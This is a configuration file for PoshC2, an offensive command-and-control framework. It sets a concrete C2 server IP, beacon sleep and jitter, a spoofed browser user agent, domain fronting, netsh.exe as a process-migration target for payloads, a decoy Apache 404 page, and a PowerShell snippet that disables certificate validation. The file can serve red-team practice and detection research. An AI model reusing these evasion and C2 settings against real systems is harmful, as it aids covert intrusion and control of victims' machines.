#!/usr/bin/env python import os from UrlConfig import UrlConfig HOST_NAME = '0.0.0.0' PORT_NUMBER = 443 # This is the bind port POSHDIR = "/opt/PoshC2_Python/" ROOTDIR = "/opt/PoshC2_Project/" HostnameIP = "https://193.36.15.234" DomainFrontHeader = "" # example df.azureedge.net DefaultSleep = "5s" Jitter = 0.20 KillDate = "08/06/2019" UserAgent = "Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; Touch; rv:11.0) like Gecko" urlConfig = UrlConfig("%soldurls.txt" % POSHDIR) # Instantiate UrlConfig object - old urls using a list from a text file #urlConfig = UrlConfig(wordList="%swordlist.txt" % POSHDIR) # Instantiate UrlConfig object - wordlist random url generator QuickCommand = urlConfig.fetchQCUrl() DownloadURI = urlConfig.fetchConnUrl() Sounds = "No" ServerPort = "443" # This the port the payload communicates with NotificationsProjectName = "PoshC2" EnableNotifications = "No" DefaultMigrationProcess = "C:\\Windows\\system32\\netsh.exe" # Used in the PoshXX_migrate.exe payloads # ClockworkSMS - https://www.clockworksms.com APIKEY = "" MobileNumber = '"07777777777","07777777777"' # Pushover - https://pushover.net/ APIToken = "" APIUser = "" URLS = urlConfig.fetchUrls() SocksURLS = urlConfig.fetchSocks() Referrer = "" # optional HTTPResponse = """ 404 Not Found

Not Found

The requested URL was not found on this server.


Apache (Debian) Server
""" HTTPResponses = [ "STATUS 200", "OK", "#RANDOMDATA#", "#RANDOMDATA#", """ #RANDOMDATA# #RANDOMDATA#""", "#RANDOMDATA#
#RANDOMDATA#
" ] ServerHeader = "Apache" Insecure = "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}" # DO NOT CHANGE # FilesDirectory = "%sFiles%s" % (POSHDIR, os.sep) PayloadsDirectory = "%spayloads%s" % (ROOTDIR, os.sep) ModulesDirectory = "%sModules%s" % (POSHDIR, os.sep) DownloadsDirectory = "%sdownloads%s" % (ROOTDIR, os.sep) ReportsDirectory = "%sreports%s" % (ROOTDIR, os.sep) Database = "%s%sPowershellC2.SQLite" % (ROOTDIR, os.sep) # DO NOT CHANGE # # These rules aren't needed as you'll find them auto-generated within the project folder now. # checkout /rewrite-rules.txt but left them here just in case.